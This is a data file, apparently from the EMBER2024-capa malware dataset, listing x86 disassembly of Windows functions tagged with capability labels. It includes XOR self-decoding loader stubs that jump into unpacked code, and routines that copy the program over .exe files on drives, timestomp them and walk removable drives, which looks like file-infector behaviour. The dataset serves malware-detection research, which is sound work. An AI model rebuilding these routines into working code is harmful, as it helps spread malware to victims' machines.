joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1015f849
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x1015f8e6
push ebx
push esi
call fcn.1015f812
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.1015e421
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x1015f893
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1015f8e5
push edi
push eax
call fcn.1015956d
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x1015f8b3
call fcn.10159533
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1015f8e4
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.1015e421
add esp, 0x20
test eax, eax
jne 0x1015f8d2
push edi
call fcn.10159533
jmp 0x1015f8da
push ebx
call fcn.10159533
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x1015f8e9
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x1015f8fa
pop esi
ret
push ebx
push edi
push esi
call fcn.1015f812
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.1015956d
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x1015f922
push ebx
push esi
push edi
call fcn.10147450
add esp, 0xc
push 0
call fcn.10159533
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x1015fce6
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.1015f937

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x401c57
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x401c66
pop dword [ebp - 0x38]
mov eax, 0x401c66
sub dword [ebp - 0x38], eax
mov dword [ebp - 0x48], 0xb75c9630
add dword [ebp - 0x48], 0x96f5af1b
mov dword [ebp - 0x44], 0x541eb6bc
sub dword [ebp - 0x44], 0x21eb6a77
mov dword [ebp - 0x40], 0xd4980792
sub dword [ebp - 0x40], 0x884bc364
mov dword [ebp - 0x3c], 0x7e66151f
sub dword [ebp - 0x3c], 0x7e66151f
lea eax, [ebp - 0x48]
push eax
mov eax, 0x67f4c315
sub eax, 0x67b492c1
add eax, dword [ebp - 0x38]
call dword [eax]
mov dword [ebp - 0x48], 0x9d7fc76d
add dword [ebp - 0x48], 0xd6f2a1e9
mov dword [ebp - 0x44], 0x9f1d3b07
add dword [ebp - 0x44], 0xa24f266e
mov dword [ebp - 0x40], 0x6385ef6b
sub dword [ebp - 0x40], 0x1682ff
mov dword [ebp - 0x3c], 0x8de40386
add dword [ebp - 0x3c], 0x721bfc7a
lea ebx, [ebp - 0x48]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x38]
call dword [eax]
push 0x40
push 0x1000
push 0x367b6
push 0
call eax
mov ecx, 0xacb5ba92
sub ecx, 0xacb57291
xor esi, esi
add esi, eax
mov edi, 0x8bcef07
sub edi, 0x87c7f07
add edi, dword [ebp - 0x38]
mov edx, 0xff71d4e3
add dword [ebp - 0x24], edx
mov ebx, dword [edi]
add dword [ebp - 0x18], esi
xor ebx, edx
xor dword [ebp - 0x24], edx
mov dword [esi], ebx
sub dword [ebp - 8], 0xa7f59481
add esi, 0x9e8e99a3
add esi, 0x61716661
add edi, 0xe014d886
add edi, 0x1feb277e
loop 0x401d7a
add eax, 0x112d7
mov ebx, eax
add eax, 0x5ebd7719
sub eax, 0x5ebd7714
mov ecx, 0x400000
add ecx, dword [ebp - 0x38]
call ebx
leave
ret

Function at 0x401fb2
Capabilities:
Delete file
Move file

Disassembly:
mov ecx, 0x404f28
jmp fcn.0040170c

Function at 0x401ff6
Capabilities:
Check if file exists
Delete directory
Get file attributes

Disassembly:
push esi
mov esi, 0x404f28
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x402013
push esi
call dword [sym.imp.kernel32.dll_RemoveDirectoryW]
test eax, eax
je 0x402018
push 1
pop eax
pop esi
ret
call fcn.00401fb2
pop esi
ret
Function at 0x401229
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov esi, 0x104
push esi
call fcn.00402d80
pop ecx
push esi
mov edi, eax
push edi
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
push esi
call fcn.00402d80
push edi
mov dword [ebp - 8], eax
call fcn.00401d50
mov ebx, eax
push ebx
call fcn.00402d80
mov esi, eax
add esp, 0xc
xor eax, eax
test ebx, ebx
mov dword [ebp - 4], esi
jle 0x40128b
mov ecx, edi
sub esi, edi
mov dl, byte [ecx]
cmp dl, 0x2e
je 0x401284
inc eax
mov byte [esi + ecx], dl
inc ecx
cmp eax, ebx
jl 0x401272
jmp 0x40128b
mov ecx, dword [ebp - 4]
mov byte [ecx + eax], 0
push dword [ebp - 4]
push str._s.cab
push dword [ebp - 8]
call fcn.00401cb9
add esp, 0xc
push 1
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_WinExec]
neg eax
pop edi
sbb eax, eax
pop esi
neg eax
pop ebx
leave
ret

Function at 0x4012b4
Capabilities:
Copy file
Delete file
Get file attributes
Set file attributes
Timestomp file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
mov eax, dword [0x4110fc]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push dword [0x4348f4]
mov ebx, ecx
mov dword [ebp - 0x114], ebx
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
push ebx
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
mov edi, dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
push 0x80
push ebx
mov dword [ebp - 0x118], eax
call edi
xor esi, esi
push esi
push esi
push 3
push esi
push esi
push 0x80000000
push ebx
mov ebx, dword [sym.imp.KERNEL32.DLL_CreateFileA]
call ebx
lea ecx, [ebp - 0x12c]
push ecx
push esi
lea ecx, [ebp - 0x124]
push ecx
push eax
mov dword [ebp - 0x11c], eax
call dword [sym.imp.KERNEL32.DLL_GetFileTime]
push dword [ebp - 0x11c]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 0x104
lea eax, [ebp - 0x110]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
push esi
push dword [0x4348f4]
lea eax, [ebp - 0x110]
push eax
mov dword [0x4348f8], eax
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
test eax, eax
je 0x4013d6
lea eax, [ebp - 0x110]
push eax
push dword [ebp - 0x114]
call fcn.00401000
push dword [ebp - 0x114]
call fcn.00401b21
add esp, 0xc
push esi
push esi
push 3
push esi
push esi
push 0x100
push dword [0x4348f4]
call ebx
mov ebx, eax
lea eax, [ebp - 0x12c]
push eax
push esi
lea eax, [ebp - 0x124]
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_SetFileTime]
push ebx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push dword [ebp - 0x118]
push dword [0x4348f4]
call edi
push 2
push dword [ebp - 0x114]
call edi
xor eax, eax
inc eax
jmp 0x4013d8
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401caa
leave
ret
Function at 0x4013e7
Capabilities:
Copy file
Enumerate files on windows
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x280
mov eax, dword [0x4110fc]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
lea ecx, [ebp - 0x10]
push ecx
push eax
mov esi, str..exe
lea edi, [ebp - 0x10]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x270], eax
lea eax, [ebp - 0x11c]
xor ebx, ebx
push str._s_s
push eax
mov dword [ebp - 0x264], ebx
movsw word es:[edi], word [esi]
mov dword [ebp - 0x27c], ebx
call fcn.00401cb9
add esp, 0x10
lea eax, [ebp - 0x25c]
push eax
lea eax, [ebp - 0x11c]
push eax
call dword [sym.imp.KERNEL32.DLL_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp - 0x278], eax
jne 0x401465
push eax
call dword [sym.imp.KERNEL32.DLL_FindClose]
xor eax, eax
jmp 0x4015e4
mov esi, 0x104
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
push ebx
push ebx
mov edi, eax
push 0x6d
push edi
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
push ebx
lea eax, [ebp - 0x280]
push eax
push 1
lea eax, [ebp - 0x25d]
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
cmp byte [ebp - 0x25d], 0x30
je 0x40159c
push esi
call fcn.00402d80
pop ecx
push esi
mov dword [ebp - 0x268], eax
call fcn.00402d80
mov edi, eax
pop ecx
lea eax, [ebp - 0x230]
push eax
call fcn.00401d50
pop ecx
mov ebx, eax
push ebx
call fcn.00402d80
pop ecx
xor ecx, ecx
test ebx, ebx
mov dword [ebp - 0x274], eax
jle 0x401530
mov dword [ebp - 0x26c], eax
lea eax, [ebp - 0x230]
sub dword [ebp - 0x26c], eax
mov al, byte [ebp + ecx - 0x230]
cmp al, 0x2e
je 0x401526
mov edx, dword [ebp - 0x26c]
add edx, ecx
inc ecx
cmp ecx, ebx
mov byte [ebp + edx - 0x230], al
jl 0x401505
jmp 0x401530
mov eax, dword [ebp - 0x274]
mov byte [eax + ecx], 0
push dword [ebp - 0x274]
push dword [ebp - 0x270]
push str._s_s.cab
push esi
push dword [ebp - 0x268]
call fcn.00401d34
add esp, 0x14
lea eax, [ebp - 0x230]
push eax
push dword [ebp - 0x270]
push str._s_s
push esi
push edi
call fcn.00401d34
add esp, 0x14
push 1
push dword [ebp - 0x268]
mov dword [0x4348f4], edi
push edi
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
test eax, eax
je 0x40159a
mov ecx, dword [ebp - 0x268]
call fcn.004012b4
test eax, eax
je 0x40159a
inc dword [ebp - 0x264]
xor ebx, ebx
lea eax, [ebp - 0x25c]
push eax
push dword [ebp - 0x278]
call dword [sym.imp.KERNEL32.DLL_FindNextFileA]
test eax, eax
je 0x4015bc
cmp dword [ebp - 0x264], 2
jne 0x4015d2
push dword [ebp - 0x278]
call dword [sym.imp.KERNEL32.DLL_FindClose]
mov dword [ebp - 0x27c], 1
cmp dword [ebp - 0x27c], ebx
je 0x40146a
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401caa
leave
ret
Function at 0x4015f3
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x154
mov eax, dword [0x4110fc]
xor eax, esp
mov dword [esp + 0x150], eax
and dword [esp], 0
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov esi, 0x104
push esi
call fcn.00402d80
pop ecx
push esi
mov edi, eax
call fcn.00402d80
pop ecx
push ebx
push str._s.
push edi
mov dword [esp + 0x20], eax
call fcn.00401cb9
add esp, 0xc
lea eax, [esp + 0x18]
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0x10], eax
je 0x4016e1
cmp byte [esp + 0x44], 0x2e
jne 0x401674
cmp byte [esp + 0x45], 0
je 0x4016bb
cmp byte [esp + 0x45], 0x2e
jne 0x401674
cmp byte [esp + 0x46], 0
je 0x4016bb
test byte [esp + 0x18], 0x10
je 0x4016bb
mov edi, dword [esp + 0x14]
lea eax, [esp + 0x44]
push eax
push ebx
push str._s_s_
push esi
push edi
call fcn.00401d34
add esp, 0x14
push edi
call fcn.00401c0b
test eax, eax
pop ecx
je 0x4016ae
push edi
call fcn.004013e7
test eax, eax
pop ecx
je 0x4016ae
inc dword [esp + 0xc]
push 1
push 0
push edi
call fcn.004015f3
add esp, 0xc
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.DLL_FindNextFileA]
test eax, eax
je 0x4016d7
mov eax, dword [esp + 0xc]
cmp eax, dword [ebp + 0x10]
jl 0x401658
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.DLL_FindClose]
mov ecx, dword [esp + 0x15c]
mov eax, dword [esp + 0xc]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401caa
mov esp, ebp
pop ebp
ret

Function at 0x401770
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x4110fc]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
xor esi, esi
lea eax, [esi + 0x43]
push eax
lea eax, [ebp - 0xc]
push str._c:_
push eax
call fcn.00401cb9
add esp, 0xc
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.DLL_GetDriveTypeA]
cmp eax, 4
je 0x4017af
inc esi
cmp esi, 0xd
jl 0x401783
jmp 0x4017bf
push 4
lea eax, [ebp - 0xc]
push 0
push eax
call fcn.004015f3
add esp, 0xc
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00401caa
leave
ret
Function at 0x4017cc
Capabilities:
Get disk information
Write file on windows

Disassembly:
sub esp, 0x18
mov eax, dword [0x4110fc]
xor eax, esp
mov dword [esp + 0x14], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.DLL_CreateFileA]
push ebp
mov ebp, dword [sym.imp.KERNEL32.DLL_CloseHandle]
push esi
push edi
xor edi, edi
mov dword [esp + 0x14], edi
mov dword [esp + 0x10], edi
mov eax, dword [esp + 0x10]
add eax, 0x43
push eax
lea eax, [esp + 0x20]
push str._c:_
push eax
call fcn.00401cb9
add esp, 0xc
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.DLL_GetDriveTypeA]
cmp eax, 3
jne 0x4018c2
push 0x104
call fcn.00402d80
mov esi, eax
lea eax, [esp + 0x20]
push eax
push str._swindows_
push esi
call fcn.00401cb9
push esi
call fcn.00401ab2
add esp, 0x14
test eax, eax
je 0x4018c2
push esi
push str._sWallPapers.jpg
push esi
call fcn.00401cb9
add esp, 0xc
push edi
push edi
push 3
push edi
push edi
push 0x80000000
push esi
call ebx
cmp eax, 0xffffffff
je 0x401881
push eax
call ebp
push esi
call fcn.004018e8
pop ecx
mov dword [esp + 0x14], 1
jmp 0x4018c2
push edi
push edi
push 1
push edi
push 2
push 0x40000000
push esi
call ebx
push 0
mov edi, eax
lea eax, [esp + 0x1c]
push eax
push 0x21e7a
push 0x411fa0
push edi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
test eax, eax
je 0x4018c0
push edi
call ebp
push esi
call fcn.004018e8
pop ecx
mov dword [esp + 0x14], 1
xor edi, edi
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x4017f4
mov ecx, dword [esp + 0x24]
mov eax, dword [esp + 0x14]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00401caa
add esp, 0x18
ret

Function at 0x401973
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x10
mov eax, dword [0x4110fc]
xor eax, esp
mov dword [esp + 0xc], eax
push esi
push edi
xor edi, edi
mov dword [esp + 8], edi
lea eax, [edi + 0x43]
push eax
lea eax, [esp + 0x10]
push str._c:_
push eax
call fcn.00401cb9
add esp, 0xc
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.DLL_GetDriveTypeA]
cmp eax, 3
jne 0x401a17
test ebx, ebx
je 0x4019db
push 0x104
call fcn.00402d80
mov esi, eax
push ebx
lea eax, [esp + 0x14]
push eax
push str._s_s_
push esi
call fcn.00401cb9
add esp, 0x14
jmp 0x4019fb
test edi, edi
je 0x401a17
push 5
call fcn.00402d80
mov esi, eax
lea eax, [esp + 0x10]
push eax
push 0x40fbe0
push esi
call fcn.00401cb9
add esp, 0x10
push esi
call fcn.00401ab2
test eax, eax
pop ecx
je 0x401a17
push 3
push 0
push esi
call fcn.004015f3
add esp, 0xc
test eax, eax
jne 0x401a23
inc edi
cmp edi, 0xd
jl 0x40198f
jmp 0x401a2b
mov dword [esp + 8], 1
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 8]
pop edi
pop esi
xor ecx, esp
call fcn.00401caa
mov esp, ebp
pop ebp
ret
Function at 0x401a40
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x4110fc]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
xor esi, esi
lea eax, [esi + 0x43]
push eax
lea eax, [ebp - 0xc]
push str._c:_
push eax
call fcn.00401cb9
add esp, 0xc
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.DLL_GetDriveTypeA]
cmp eax, 2
je 0x401a7d
inc esi
cmp esi, 0xd
jl 0x401a53
lea eax, [ebp - 0xc]
push eax
call fcn.00401ab2
test eax, eax
pop ecx
pop esi
je 0x401aa4
push 2
lea eax, [ebp - 0xc]
push 0
push eax
call fcn.004015f3
add esp, 0xc
neg eax
sbb eax, eax
neg eax
jmp 0x401aa6
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401caa
leave
ret

Function at 0x401ab2
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x4110fc]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
push eax
lea eax, [ebp - 0x108]
push str._sreadme.1xt
push eax
xor esi, esi
call fcn.00401cb9
add esp, 0xc
push esi
push esi
push 1
push esi
push esi
push 0x40000000
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
cmp eax, 0xffffffff
je 0x401afe
inc esi
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.00401caa
leave
ret

Function at 0x401b21
Capabilities:
Get file size
Write file on windows

Disassembly:
sub esp, 0x18
mov eax, dword [0x4348f4]
push ebx
push ebp
push esi
mov dword [esp + 0x14], eax
lea eax, [esp + 0x1c]
push edi
push eax
call fcn.00402ce6
push dword [esp + 0x24]
call fcn.00401df1
pop ecx
pop ecx
call fcn.00401dfe
xor edx, edx
mov ecx, 0x4538
div ecx
mov ebx, dword [sym.imp.KERNEL32.DLL_CreateFileA]
xor edi, edi
push edi
push edi
push 3
push edi
push edi
push 0x80000000
push dword [esp + 0x44]
mov esi, edx
add esi, 0x8ff1
call ebx
mov ebp, dword [sym.imp.KERNEL32.DLL_GetFileSize]
push edi
push eax
mov dword [esp + 0x1c], eax
call ebp
cmp eax, edi
mov dword [esp + 0x10], eax
jne 0x401b91
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push edi
push edi
push 3
push edi
push 2
push 0x40000000
push dword [esp + 0x30]
call ebx
mov ebx, eax
push edi
push ebx
call ebp
mov ecx, 0x16e360
cmp dword [esp + 0x10], ecx
jbe 0x401bc4
sub esi, eax
add esi, ecx
jmp 0x401bcd
cmp dword [esp + 0x10], eax
ja 0x401bcd
xor esi, esi
inc esi
push esi
call fcn.00402d80
pop ecx
push 2
push edi
push edi
push ebx
mov ebp, eax
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
push edi
lea eax, [esp + 0x20]
push eax
push esi
push ebp
push ebx
call dword [sym.imp.KERNEL32.DLL_WriteFile]
test eax, eax
jne 0x401bfa
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push ebx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret
Function at 0x401c0b
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x258
mov eax, dword [0x4110fc]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
lea ecx, [ebp - 0x258]
push ecx
push eax
lea eax, [ebp - 0x114]
push str._s_s
push eax
xor ebx, ebx
mov dword [ebp - 0x258], 0x2a2e2a
call fcn.00401cb9
add esp, 0x10
lea eax, [ebp - 0x254]
push eax
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.DLL_FindFirstFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x401c99
mov esi, dword [sym.imp.KERNEL32.DLL_FindNextFileA]
lea eax, [ebp - 0x254]
push eax
push edi
call esi
test eax, eax
je 0x401c99
cmp ebx, 4
jge 0x401c94
lea eax, [ebp - 0x254]
push eax
push edi
inc ebx
call esi
test eax, eax
jne 0x401c7b
cmp ebx, 4
jl 0x401c99
xor eax, eax
inc eax
jmp 0x401c9b
xor eax, eax
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401caa
leave
ret

Function at 0x401caa
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4110fc]
jne 0x401cb4
repz ret
jmp fcn.00403039
Function at 0x40b4e5
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.004041e5
xor ebx, ebx
cmp dword [0x434898], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
jne 0x40b5ba
push str.USER32.DLL
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov edi, eax
cmp edi, ebx
jne 0x40b525
xor eax, eax
jmp 0x40b67e
mov esi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x40b51e
push eax
call fcn.00404182
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x434898], eax
call esi
push eax
call fcn.00404182
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x43489c], eax
call esi
push eax
call fcn.00404182
mov dword [0x4348a0], eax
lea eax, [ebp - 8]
push eax
call fcn.004067af
test eax, eax
pop ecx
pop ecx
je 0x40b588
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00403c3f
add esp, 0x14
cmp dword [ebp - 8], 2
jne 0x40b5ba
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.00404182
cmp eax, ebx
pop ecx
mov dword [0x4348a8], eax
je 0x40b5ba
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00404182
pop ecx
mov dword [0x4348a4], eax
mov eax, dword [0x4348a4]
mov esi, dword [ebp - 0x10]
cmp eax, esi
je 0x40b633
cmp dword [0x4348a8], esi
je 0x40b633
push eax
call fcn.004041ee
pop ecx
call eax
cmp eax, ebx
je 0x40b600
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
push dword [0x4348a8]
call fcn.004041ee
pop ecx
call eax
test eax, eax
je 0x40b600
test byte [ebp - 0x18], 1
jne 0x40b633
lea eax, [ebp - 0xc]
push eax
call fcn.004067e6
test eax, eax
pop ecx
je 0x40b61b
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00403c3f
add esp, 0x14
cmp dword [ebp - 0xc], 4
jb 0x40b62a
or dword [ebp + 0x10], 0x200000
jmp 0x40b664
or dword [ebp + 0x10], 0x40000
jmp 0x40b664
mov eax, dword [0x43489c]
cmp eax, esi
je 0x40b664
push eax
call fcn.004041ee
pop ecx
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x40b664
mov eax, dword [0x4348a0]
cmp eax, esi
je 0x40b664
push dword [ebp - 4]
push eax
call fcn.004041ee
pop ecx
call eax
mov dword [ebp - 4], eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
push dword [0x434898]
call fcn.004041ee
pop ecx
call eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x42fb71
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
mov eax, 0x43757a
call fcn.004339e0
push ecx
push ebx
push esi
mov esi, ecx
xor ebx, ebx
mov dword [ebp - 0x10], esi
mov dword [esi], 0x43c770
mov dword [esi + 4], 0x43c758
mov dword [esi + 8], ebx
mov dword [ebp - 4], ebx
mov dword [esi + 0xc], ebx
mov dword [esi + 0x10], ebx
mov dword [esi + 0x14], ebx
lea ecx, [esi + 0x18]
mov byte [ebp - 4], 1
call fcn.004028e9
mov ecx, dword [ebp - 0xc]
mov byte [esi + 0x24], 1
mov dword [esi + 0x28], ebx
mov dword [esi + 0x2c], ebx
mov dword [esi + 0x30], ebx
mov dword [esi + 0x34], ebx
mov dword [esi + 0x38], ebx
mov dword [esi + 0x3c], ebx
mov dword [esi + 0x40], ebx
mov dword [esi + 0x44], ebx
mov dword [esi + 0x48], ebx
mov byte [esi + 0x4c], bl
mov byte [esi + 0x4d], bl
mov dword [esi], 0x43c73c
mov dword [esi + 4], 0x43c724
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x430a10
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x430a1f
pop dword [ebp - 0x38]
mov eax, 0x430a1f
sub dword [ebp - 0x38], eax
push 0x40
push 0x1000
push 0x395d7
push 0
mov eax, 0x1e6efbcc
sub eax, 0x1e2b7b9c
add eax, dword [ebp - 0x38]
call dword [eax]
mov ecx, 0xfef3a910
sub ecx, 0xfef36664
mov edi, eax
mov ebx, 0x44c600
add ebx, dword [ebp - 0x38]
mov esi, 0x378c5071
add esi, 0x7f347753
mov edx, dword [ebx]
xor edx, esi
sub dword [ebp - 0x18], esi
mov dword [edi], edx
sub dword [ebp - 0x34], ecx
add edi, 0x694fc092
sub edi, 0x694fc08e
add ebx, 4
loop 0x430a73
add eax, 0xfd83
mov ebx, eax
add eax, 0x9d2cfe32
sub eax, 0x9d2cfe2d
mov ecx, 0xb5ee2320
add ecx, 0x4a51dce0
add ecx, dword [ebp - 0x38]
call ebx
leave
ret

Function at 0x433770
Capabilities:
Create thread

Disassembly:
push esi
lea eax, [esp + 8]
push eax
push 0
mov esi, ecx
mov ecx, dword [esp + 0x10]
push ecx
push edx
push 0
push 0
call dword [sym.imp.msvcrt.dll__beginthreadex]
add esp, 0x18
mov dword [esi], eax
pop esi
test eax, eax
je 0x433799
xor eax, eax
ret 4
call dword [sym.imp.kernel32.dll_GetLastError]
test eax, eax
jne 0x4337a8
mov eax, 1
ret 4